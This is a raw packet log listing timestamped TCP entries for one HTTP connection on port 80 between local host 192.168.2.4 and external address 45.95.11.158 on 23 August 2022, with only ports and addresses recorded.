Aug 23, 2022 03:42:41.445422888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445478916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445483923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445535898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445576906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445590019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445621967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445647955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445698977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445704937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.445758104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.445905924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.447043896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.449392080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.449601889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.452780008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452851057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452887058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452889919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.452914953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.452919006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452925920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.452953100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452955008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.452986002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.452991962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453017950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453021049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453051090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453052998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453084946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453134060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453160048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453172922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453192949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453217030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453253031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453274012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453305006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453346014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453376055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453413963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453414917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453458071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453475952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453587055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453605890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453624010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453655005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453664064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453679085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453680038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453691959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453706980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453732014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453732014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453752041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453758955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453778028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453778028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453792095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453804016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453815937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453830004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453870058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453875065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453893900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453919888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453928947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453949928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453965902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.453989983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.453998089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.454030991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.454032898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.454060078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.454063892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.454091072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.454128981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.454133034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.454147100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.454161882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.455852985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485378981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485438108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485464096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485485077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485511065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485542059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485569000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485569000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485589027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485616922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485624075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485646009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485654116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485686064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485699892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485711098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485721111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485738993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485749006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485760927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485776901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485785007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485805035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485814095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485833883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485841036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485862017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485868931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485889912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485899925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485910892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485928059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485937119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485944986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485966921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.485971928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.485995054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486001968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486016035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486032009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486042023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486051083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486068964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486077070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486097097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486104965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486115932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486133099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486145973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486157894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486174107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486181021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486203909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486208916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486223936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486239910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486248970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486263990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486278057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486284018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486305952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486311913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486325026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486340046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486354113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486358881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486382961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486390114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486413002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486418962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486433983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486449957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486462116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486479044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486489058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486504078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486519098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486531019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486536980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486555099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486563921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486581087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486591101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486604929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486619949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486627102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486641884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486656904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486669064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486679077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486696005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486705065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486723900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486732006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486745119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.486758947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.486779928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487015963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487047911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487076044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487096071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487099886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487124920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487144947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487149954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487170935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487204075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487215042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487235069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487251997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487272024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487297058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487323999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487334013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487370014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487395048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487435102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487437963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487478018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487643957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487685919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487766027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487792969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487816095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487816095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487848043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487875938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487884045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487901926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487911940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487931967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487938881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487952948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.487968922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.487998962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488075018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488120079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488122940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488162041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488168955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488188982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488205910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488224983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488251925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488282919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488293886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488317966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488329887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488348961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488369942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488388062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488394022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488436937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488461971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488500118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488596916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488612890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488636017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488662958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488707066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488729954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488750935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488768101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.488768101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488815069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.488858938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.489033937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.489059925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.489075899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.489079952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.489099979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.489139080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.489986897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490022898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490045071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490066051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490083933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490086079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490109921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490128040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490135908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490163088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490295887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490320921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490341902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490341902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490358114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490379095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490416050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490529060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490554094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490575075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490593910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490623951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490647078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490668058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490695953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490710974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490722895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490729094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490751028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490756035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490772963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490776062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490803957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490812063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490818024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490829945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490850925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490869999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490871906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490895033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490905046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490911007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490923882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490931034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490956068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490967989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.490976095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.490992069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491008043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491010904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491028070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491029024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491048098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491049051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491070986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491084099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491090059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491099119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491126060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491146088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491185904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491223097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491234064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491255999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491270065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491270065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491288900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491312027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491544008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491569996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491590977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491590977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491605043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491612911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491640091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491772890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491799116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491827011 CEST	80	49743	45.95.11.158	192.168.2.4
